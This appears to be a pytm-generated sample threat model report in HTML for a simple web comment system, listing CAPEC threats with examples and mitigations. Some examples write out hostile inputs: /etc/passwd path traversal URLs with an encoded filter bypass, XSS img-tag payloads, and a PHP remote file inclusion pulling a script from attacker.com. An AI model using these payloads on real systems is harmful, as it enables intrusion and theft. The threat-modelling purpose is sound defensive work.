forked from OWASP/pytm
-
Notifications
You must be signed in to change notification settings - Fork 0
/
report.html
2705 lines (2705 loc) · 97.1 KB
/
report.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<p><link href="/Users/avhadp/Desktop/code/pytm/docs/Stylesheet.css" rel="stylesheet"></link></p>
<h2 id="system-description">System Description</h2>
<p> </p>
<p>This is a sample threat model of a very simple system - a web-based comment system. The user enters comments and these are added to a database and displayed back to the user. The thought is that it is, though simple, a complete enough example to express meaningful threats.</p>
<p> </p>
<h2 id="dataflow-diagram---level-0-dfd">Dataflow Diagram - Level 0 DFD</h2>
<p><img src="sample.png" /></p>
<p> </p>
<h2 id="dataflows">Dataflows</h2>
<p> </p>
<table>
<colgroup>
<col style="width: 15%" />
<col style="width: 15%" />
<col style="width: 12%" />
<col style="width: 15%" />
<col style="width: 25%" />
<col style="width: 15%" />
</colgroup>
<thead>
<tr class="header">
<th style="text-align: center;">Name</th>
<th style="text-align: center;">From</th>
<th style="text-align: center;">To</th>
<th style="text-align: center;">Data</th>
<th style="text-align: center;">Protocol</th>
<th style="text-align: center;">Port</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td style="text-align: center;">User enters comments (*)</td>
<td style="text-align: center;">User</td>
<td style="text-align: center;">Web Server</td>
<td style="text-align: center;">Comments in HTML or Markdown</td>
<td style="text-align: center;">HTTP</td>
<td style="text-align: center;">80</td>
</tr>
<tr class="even">
<td style="text-align: center;">Insert query with comments</td>
<td style="text-align: center;">Web Server</td>
<td style="text-align: center;">SQL Database</td>
<td style="text-align: center;">MySQL insert statement, all literals</td>
<td style="text-align: center;">MySQL</td>
<td style="text-align: center;">3306</td>
</tr>
<tr class="odd">
<td style="text-align: center;">Retrieve comments</td>
<td style="text-align: center;">SQL Database</td>
<td style="text-align: center;">Web Server</td>
<td style="text-align: center;">Web server retrieves comments from DB</td>
<td style="text-align: center;">MySQL</td>
<td style="text-align: center;">80</td>
</tr>
<tr class="even">
<td style="text-align: center;">Show comments (*)</td>
<td style="text-align: center;">Web Server</td>
<td style="text-align: center;">User</td>
<td style="text-align: center;">Web server shows comments to the end user</td>
<td style="text-align: center;">HTTP</td>
<td style="text-align: center;">10000</td>
</tr>
<tr class="odd">
<td style="text-align: center;">Lambda periodically cleans DB</td>
<td style="text-align: center;">AWS Lambda</td>
<td style="text-align: center;">SQL Database</td>
<td style="text-align: center;">Lamda clears DB every 6 hours</td>
<td style="text-align: center;">MySQL</td>
<td style="text-align: center;">3306</td>
</tr>
</tbody>
</table>
<p> </p>
<h2 id="potential-threats">Potential Threats</h2>
<p> </p>
<div class="line-block"></div>
<details>
<summary> INP03 – Server Side Include (SSI) Injection</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
High
</p>
<h6>
Example Instances
</h6>
<p>
Consider a website hosted on a server that permits Server Side Includes (SSI), such as Apache with the Options Includes directive enabled. Whenever an error occurs, the HTTP Headers along with the entire request are logged, which can then be displayed on a page that allows review of such errors. A malicious user can inject SSI directives in the HTTP Headers of a request designed to create an error. When these logs are eventually reviewed, the server parses the SSI directives and executes them.
</p>
<h6>
Mitigations
</h6>
<p>
Set the OPTIONS IncludesNOEXEC in the global access.conf file or local .htaccess (Apache) file to deny SSI execution in directories that do not need them. All user controllable input must be appropriately sanitized before use in the application. This includes omitting, or encoding, certain characters or strings that have the potential of being interpreted as part of an SSI directive. Server Side Includes must be enabled only if there is a strong business reason to do so. Every additional component enabled on the web server increases the attack surface as well as administrative overhead.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/101.html, http://cwe.mitre.org/data/definitions/97.html, http://cwe.mitre.org/data/definitions/74.html, http://cwe.mitre.org/data/definitions/20.html, http://cwe.mitre.org/data/definitions/713.html
</p>
</details>
<details>
<summary> INP05 – Command Line Execution through SQL Injection</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Very High
</p>
<h6>
Example Instances
</h6>
<p>
SQL injection vulnerability in Cacti 0.8.6i and earlier, when register_argc_argv is enabled, allows remote attackers to execute arbitrary SQL commands via the (1) second or (2) third arguments to cmd.php. NOTE: this issue can be leveraged to execute arbitrary commands since the SQL query results are later used in the polling_items array and popen function
</p>
<h6>
Mitigations
</h6>
<p>
Disable MSSQL xp_cmdshell directive on the databaseProperly validate the data (syntactically and semantically) before writing it to the database. Do not implicitly trust the data stored in the database. Re-validate it prior to usage to make sure that it is safe to use in a given context (e.g. as a command line argument).
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/108.html, http://cwe.mitre.org/data/definitions/89.html, http://cwe.mitre.org/data/definitions/74.html, http://cwe.mitre.org/data/definitions/20.html, http://cwe.mitre.org/data/definitions/78.html, http://cwe.mitre.org/data/definitions/114.html
</p>
</details>
<details>
<summary> AA01 – Authentication Abuse/ByPass</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Medium
</p>
<h6>
Example Instances
</h6>
<p>
An adversary that has previously obtained unauthorized access to certain device resources, uses that access to obtain information such as location and network information.
</p>
<h6>
Mitigations
</h6>
<p>
Use strong authentication and authorization mechanisms. A proven protocol is OAuth 2.0, which enables a third-party application to obtain limited access to an API.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/114.html, http://cwe.mitre.org/data/definitions/287.html
</p>
</details>
<details>
<summary> DS01 – Excavation</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Medium
</p>
<h6>
Example Instances
</h6>
<p>
The adversary may collect this information through a variety of methods including active querying as well as passive observation. By exploiting weaknesses in the design or configuration of the target and its communications, an adversary is able to get the target to reveal more information than intended. Information retrieved may aid the adversary in making inferences about potential weaknesses, vulnerabilities, or techniques that assist the adversary’s objectives. This information may include details regarding the configuration or capabilities of the target, clues as to the timing or nature of activities, or otherwise sensitive information. Often this sort of attack is undertaken in preparation for some other type of attack, although the collection of information by itself may in some cases be the end goal of the adversary.
</p>
<h6>
Mitigations
</h6>
<p>
Minimize error/response output to only what is necessary for functional use or corrective language. Remove potentially sensitive information that is not necessary for the application’s functionality.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/116.html, http://cwe.mitre.org/data/definitions/200.html
</p>
</details>
<details>
<summary> DE02 – Double Encoding</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Medium
</p>
<h6>
Example Instances
</h6>
<p>
Double Enconding Attacks can often be used to bypass Cross Site Scripting (XSS) detection and execute XSS attacks. The use of double encouding prevents the filter from working as intended and allows the XSS to bypass dectection. This can allow an adversary to execute malicious code.
</p>
<h6>
Mitigations
</h6>
<p>
Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Test your decoding process against malicious input. Be aware of the threat of alternative method of data encoding and obfuscation technique such as IP address encoding. When client input is required from web-based forms, avoid using the GET method to submit data, as the method causes the form data to be appended to the URL and is easily manipulated. Instead, use the POST method whenever possible. Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process.Refer to the RFCs to safely decode URL. Regular expression can be used to match safe URL patterns. However, that may discard valid URL requests if the regular expression is too restrictive. There are tools to scan HTTP requests to the server for valid URL such as URLScan from Microsoft (http://www.microsoft.com/technet/security/tools/urlscan.mspx).
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/120.html, http://cwe.mitre.org/data/definitions/173.html, http://cwe.mitre.org/data/definitions/177.html
</p>
</details>
<details>
<summary> AC01 – Privilege Abuse</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Medium
</p>
<h6>
Example Instances
</h6>
<p>
An adversary that has previously obtained unauthorized access to certain device resources, uses that access to obtain information such as location and network information.
</p>
<h6>
Mitigations
</h6>
<p>
Use strong authentication and authorization mechanisms. A proven protocol is OAuth 2.0, which enables a third-party application to obtain limited access to an API.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/122.html, http://cwe.mitre.org/data/definitions/732.html, http://cwe.mitre.org/data/definitions/269.html
</p>
</details>
<details>
<summary> DO01 – Flooding</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Medium
</p>
<h6>
Example Instances
</h6>
<p>
Adversary tries to bring a network or service down by flooding it with large amounts of traffic.
</p>
<h6>
Mitigations
</h6>
<p>
Ensure that protocols have specific limits of scale configured. Specify expectations for capabilities and dictate which behaviors are acceptable when resource allocation reaches limits. Uniformly throttle all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/125.html, http://cwe.mitre.org/data/definitions/404.html, http://cwe.mitre.org/data/definitions/770.html
</p>
</details>
<details>
<summary> HA01 – Path Traversal</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Very High
</p>
<h6>
Example Instances
</h6>
<p>
An example of using path traversal to attack some set of resources on a web server is to use a standard HTTP request http://example/../../../../../etc/passwd From an attacker point of view, this may be sufficient to gain access to the password file on a poorly protected system. If the attacker can list directories of critical resources then read only access is not sufficient to protect the system.
</p>
<h6>
Mitigations
</h6>
<p>
Design: Configure the access control correctly. Design: Enforce principle of least privilege. Design: Execute programs with constrained privileges, so parent process does not open up further vulnerabilities. Ensure that all directories, temporary directories and files, and memory are executing with limited privileges to protect against remote execution. Design: Input validation. Assume that user inputs are malicious. Utilize strict type, character, and encoding enforcement. Design: Proxy communication to host, so that communications are terminated at the proxy, sanitizing the requests before forwarding to server host. 6. Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands. Implementation: Host integrity monitoring for critical files, directories, and processes. The goal of host integrity monitoring is to be aware when a security issue has occurred so that incident response and other forensic activities can begin. Implementation: Perform input validation for all remote content, including remote and user-generated content. Implementation: Perform testing such as pen-testing and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables. Implementation: Use indirect references rather than actual file names. Implementation: Use possible permissions on file access when developing and deploying web applications. Implementation: Validate user input by only accepting known good. Ensure all content that is delivered to client is sanitized against an acceptable content specification – whitelisting approach.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/126.html, http://cwe.mitre.org/data/definitions/22.html
</p>
</details>
<details>
<summary> DO02 – Excessive Allocation</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Medium
</p>
<h6>
Example Instances
</h6>
<p>
In an Integer Attack, the adversary could cause a variable that controls allocation for a request to hold an excessively large value. Excessive allocation of resources can render a service degraded or unavailable to legitimate users and can even lead to crashing of the target.
</p>
<h6>
Mitigations
</h6>
<p>
Limit the amount of resources that are accessible to unprivileged users. Assume all input is malicious. Consider all potentially relevant properties when validating input. Consider uniformly throttling all requests in order to make it more difficult to consume resources more quickly than they can again be freed. Use resource-limiting settings, if possible.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/130.html, http://cwe.mitre.org/data/definitions/770.html, http://cwe.mitre.org/data/definitions/404.html
</p>
</details>
<details>
<summary> INP08 – Format String Injection</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
High
</p>
<h6>
Example Instances
</h6>
<p>
Untrusted search path vulnerability in the add_filename_to_string function in intl/gettext/loadmsgcat.c for Elinks 0.11.1 allows local users to cause Elinks to use an untrusted gettext message catalog (.po file) in a ../po directory, which can be leveraged to conduct format string attacks.
</p>
<h6>
Mitigations
</h6>
<p>
Limit the usage of formatting string functions. Strong input validation - All user-controllable input must be validated and filtered for illegal formatting characters.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/135.html, http://cwe.mitre.org/data/definitions/134.html, http://cwe.mitre.org/data/definitions/133.html
</p>
</details>
<details>
<summary> INP09 – LDAP Injection</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
High
</p>
<h6>
Example Instances
</h6>
<p>
PowerDNS before 2.9.18, when running with an LDAP backend, does not properly escape LDAP queries, which allows remote attackers to cause a denial of service (failure to answer ldap questions) and possibly conduct an LDAP injection attack.
</p>
<h6>
Mitigations
</h6>
<p>
Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as LDAP content. Use of custom error pages - Attackers can glean information about the nature of queries from descriptive error messages. Input validation must be coupled with customized error pages that inform about an error without disclosing information about the LDAP or application.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/136.html, http://cwe.mitre.org/data/definitions/77.html, http://cwe.mitre.org/data/definitions/90.html, http://cwe.mitre.org/data/definitions/20.html
</p>
</details>
<details>
<summary> INP10 – Parameter Injection</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Medium
</p>
<h6>
Example Instances
</h6>
<p>
The target application accepts a string as user input, fails to sanitize characters that have a special meaning in the parameter encoding, and inserts the user-supplied string in an encoding which is then processed.
</p>
<h6>
Mitigations
</h6>
<p>
Implement an audit log written to a separate host. In the event of a compromise, the audit log may be able to provide evidence and details of the compromise. Treat all user input as untrusted data that must be validated before use.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/137.html, http://cwe.mitre.org/data/definitions/88.html
</p>
</details>
<details>
<summary> INP11 – Relative Path Traversal</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
High
</p>
<h6>
Example Instances
</h6>
<p>
The attacker uses relative path traversal to access files in the application. This is an example of accessing user’s password file. http://www.example.com/getProfile.jsp?filename=../../../../etc/passwd However, the target application employs regular expressions to make sure no relative path sequences are being passed through the application to the web page. The application would replace all matches from this regex with the empty string. Then an attacker creates special payloads to bypass this filter: http://www.example.com/getProfile.jsp?filename=%2e%2e/%2e%2e/%2e%2e/%2e%2e /etc/passwd When the application gets this input string, it will be the desired vector by the attacker.
</p>
<h6>
Mitigations
</h6>
<p>
Design: Input validation. Assume that user inputs are malicious. Utilize strict type, character, and encoding enforcement. Implementation: Perform input validation for all remote content, including remote and user-generated content. Implementation: Validate user input by only accepting known good. Ensure all content that is delivered to client is sanitized against an acceptable content specification – whitelisting approach. Implementation: Prefer working without user input when using file system calls. Implementation: Use indirect references rather than actual file names. Implementation: Use possible permissions on file access when developing and deploying web applications.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/139.html, http://cwe.mitre.org/data/definitions/23.html
</p>
</details>
<details>
<summary> AC05 – Content Spoofing</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Medium
</p>
<h6>
Example Instances
</h6>
<p>
An attacker finds a site which is vulnerable to HTML Injection. He sends a URL with malicious code injected in the URL to the user of the website(victim) via email or some other social networking site. User visits the page because the page is located within trusted domain. When the victim accesses the page, the injected HTML code is rendered and presented to the user asking for username and password. The username and password are both sent to the attacker’s server.
</p>
<h6>
Mitigations
</h6>
<p>
Validation of user input for type, length, data-range, format, etc. Encoding any user input that will be output by the web application.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/148.html, http://cwe.mitre.org/data/definitions/345.html
</p>
</details>
<details>
<summary> INP14 – Input Data Manipulation</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Medium
</p>
<h6>
Example Instances
</h6>
<p>
A target application has an integer variable for which only some integer values are expected by the application. But since it does not have any checks in place to validate the value of the input, the attacker is able to manipulate the targeted integer variable such that normal operations result in non-standard values.
</p>
<h6>
Mitigations
</h6>
<p>
Validation of user input for type, length, data-range, format, etc.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/153.html, http://cwe.mitre.org/data/definitions/20.html
</p>
</details>
<details>
<summary> CR03 – Dictionary-based Password Attack</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
High
</p>
<h6>
Example Instances
</h6>
<p>
A system user selects the word treacherous as their passwords believing that it would be very difficult to guess. The password-based dictionary attack is used to crack this password and gain access to the account.The Cisco LEAP challenge/response authentication mechanism uses passwords in a way that is susceptible to dictionary attacks, which makes it easier for remote attackers to gain privileges via brute force password guessing attacks. Cisco LEAP is a mutual authentication algorithm that supports dynamic derivation of session keys. With Cisco LEAP, mutual authentication relies on a shared secret, the user’s logon password (which is known by the client and the network), and is used to respond to challenges between the user and the Remote Authentication Dial-In User Service (RADIUS) server. Methods exist for someone to write a tool to launch an offline dictionary attack on password-based authentications that leverage Microsoft MS-CHAP, such as Cisco LEAP. The tool leverages large password lists to efficiently launch offline dictionary attacks against LEAP user accounts, collected through passive sniffing or active techniques.See also: CVE-2003-1096
</p>
<h6>
Mitigations
</h6>
<p>
Create a strong password policy and ensure that your system enforces this policy.Implement an intelligent password throttling mechanism. Care must be taken to assure that these mechanisms do not excessively enable account lockout attacks such as CAPEC-02.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/16.html, http://cwe.mitre.org/data/definitions/521.html, http://cwe.mitre.org/data/definitions/262.html, http://cwe.mitre.org/data/definitions/263.html
</p>
</details>
<details>
<summary> AC06 – Using Malicious Files</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Very High
</p>
<h6>
Example Instances
</h6>
<p>
Consider a directory on a web server with the following permissions drwxrwxrwx 5 admin public 170 Nov 17 01:08 webroot This could allow an attacker to both execute and upload and execute programs’ on the web server. This one vulnerability can be exploited by a threat to probe the system and identify additional vulnerabilities to exploit.
</p>
<h6>
Mitigations
</h6>
<p>
Design: Enforce principle of least privilegeDesign: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands.Implementation: Perform testing such as pen-testing and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/17.html, http://cwe.mitre.org/data/definitions/732.html, http://cwe.mitre.org/data/definitions/272.html, http://cwe.mitre.org/data/definitions/270.html
</p>
</details>
<details>
<summary> HA03 – Web Application Fingerprinting</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Low
</p>
<h6>
Example Instances
</h6>
<p>
An attacker sends malformed requests or requests of nonexistent pages to the server. Consider the following HTTP responses. Response from Apache 1.3.23$ nc apache.server.com80 GET / HTTP/3.0 HTTP/1.1 400 Bad RequestDate: Sun, 15 Jun 2003 17:12: 37 GMTServer: Apache/1.3.23Connection: closeTransfer: chunkedContent-Type: text/HTML; charset=iso-8859-1 Response from IIS 5.0$ nc iis.server.com 80GET / HTTP/3.0 HTTP/1.1 200 OKServer: Microsoft-IIS/5.0Content-Location: http://iis.example.com/Default.htmDate: Fri, 01 Jan 1999 20:14: 02 GMTContent-Type: text/HTMLAccept-Ranges: bytes Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMTETag: W/e0d362a4c335be1: ae1Content-Length: 133 [R.170.2]
</p>
<h6>
Mitigations
</h6>
<p>
Implementation: Obfuscate server fields of HTTP response.Implementation: Hide inner ordering of HTTP response header.Implementation: Customizing HTTP error codes such as 404 or 500.Implementation: Hide URL file extension.Implementation: Hide HTTP response header software information filed.Implementation: Hide cookie’s software information filed.Implementation: Appropriately deal with error messages.Implementation: Obfuscate database type in Database API’s error message.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/170.html, http://cwe.mitre.org/data/definitions/497.html
</p>
</details>
<details>
<summary> SC02 – XSS Targeting Non-Script Elements</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Very High
</p>
<h6>
Example Instances
</h6>
<p>
An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. A malicious user embeds JavaScript in the IMG tags in his messages that gets executed within the victim’s browser whenever the victim reads these messages. <img src=javascript:alert('XSS')> When executed within the victim’s browser, the malicious script could accomplish a number of adversary objectives including stealing sensitive information such as usernames, passwords, or cookies.
</p>
<h6>
Mitigations
</h6>
<p>
In addition to the traditional input fields, all other user controllable inputs, such as image tags within messages or the likes, must also be subjected to input validation. Such validation should ensure that content that can be potentially interpreted as script by the browser is appropriately filtered.All output displayed to clients must be properly escaped. Escaping ensures that the browser interprets special scripting characters literally and not as script to be executed.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/18.html, http://cwe.mitre.org/data/definitions/80.html
</p>
</details>
<details>
<summary> AC07 – Exploiting Incorrectly Configured Access Control Security Levels</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Medium
</p>
<h6>
Example Instances
</h6>
<p>
For example, an incorrectly configured Web server, may allow unauthorized access to it, thus threaten the security of the Web application.
</p>
<h6>
Mitigations
</h6>
<p>
Design: Configure the access control correctly.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/180.html, http://cwe.mitre.org/data/definitions/732.html
</p>
</details>
<details>
<summary> SC03 – Embedding Scripts within Scripts</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
High
</p>
<h6>
Example Instances
</h6>
<p>
Ajax applications enable rich functionality for browser based web applications. Applications like Google Maps deliver unprecedented ability to zoom in and out, scroll graphics, and change graphic presentation through Ajax. The security issues that an attacker may exploit in this instance are the relative lack of security features in JavaScript and the various browser’s implementation of JavaScript, these security gaps are what XSS and a host of other client side vulnerabilities are based on. While Ajax may not open up new security holes, per se, due to the conversational aspects between client and server of Ajax communication, attacks can be optimized. A single zoom in or zoom out on a graphic in an Ajax application may round trip to the server dozens of times. One of the first steps many attackers take is frequently footprinting an environment, this can include scanning local addresses like 192.<em>.</em>.* IP addresses, checking local directories, files, and settings for known vulnerabilities, and so on. <IMG SRC=javascript:alert('XSS')> The XSS script that is embedded in a given IMG tag can be manipulated to probe a different address on every click of the mouse or other motions that the Ajax application is aware of. In addition the enumerations allow for the attacker to nest sequential logic in the attacks. While Ajax applications do not open up brand new attack vectors, the existing attack vectors are more than adequate to execute attacks, and now these attacks can be optimized to sequentially execute and enumerate host environments.~/.bash_profile and ~/.bashrc are executed in a user’s context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed. These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.
</p>
<h6>
Mitigations
</h6>
<p>
Use browser technologies that do not allow client side scripting.Utilize strict type, character, and encoding enforcement.Server side developers should not proxy content via XHR or other means. If a HTTP proxy for remote content is setup on the server side, the client’s browser has no way of discerning where the data is originating from.Ensure all content that is delivered to client is sanitized against an acceptable content specification.Perform input validation for all remote content.Perform output validation for all remote content.Disable scripting languages such as JavaScript in browserSession tokens for specific hostPatching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.Privileges are constrained, if a script is loaded, ensure system runs in chroot jail or other limited authority mode
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/19.html, http://cwe.mitre.org/data/definitions/284.html
</p>
</details>
<details>
<summary> INP16 – PHP Remote File Inclusion</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
High
</p>
<h6>
Example Instances
</h6>
<p>
The adversary controls a PHP script on a server http://attacker.com/rfi.txt The .txt extension is given so that the script doesn’t get executed by the attacker.com server, and it will be downloaded as text. The target application is vulnerable to PHP remote file inclusion as following: include($_GET[‘filename’] . ‘.txt’) The adversary creates an HTTP request that passes his own script in the include: http://example.com/file.php?filename=http://attacker.com/rfi with the concatenation of the .txt prefix, the PHP runtime download the attack’s script and the content of the script gets executed in the same context as the rest of the original script.
</p>
<h6>
Mitigations
</h6>
<p>
Implementation: Perform input validation for all remote content, including remote and user-generated contentImplementation: Only allow known files to be included (whitelist)Implementation: Make use of indirect references passed in URL parameters instead of file namesConfiguration: Ensure that remote scripts cannot be include in the include or require PHP directives
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/193.html, http://cwe.mitre.org/data/definitions/98.html, http://cwe.mitre.org/data/definitions/80.html, http://cwe.mitre.org/data/definitions/714.html
</p>
</details>
<details>
<summary> AA02 – Principal Spoof</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Medium
</p>
<h6>
Example Instances
</h6>
<p>
An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
</p>
<h6>
Mitigations
</h6>
<p>
Employ robust authentication processes (e.g., multi-factor authentication).
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/195.html
</p>
</details>
<details>
<summary> DS04 – XSS Targeting Error Pages</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Medium
</p>
<h6>
Example Instances
</h6>
<p>
A third party web server fails to adequately sanitize messages sent in error pages. Adversary takes advantage of the data displayed in the error message.
</p>
<h6>
Mitigations
</h6>
<p>
Design: Use libraries and templates that minimize unfiltered input.Implementation: Normalize, filter and white list any input that will be used in error messages.Implementation: The victim should configure the browser to minimize active content from untrusted sources.
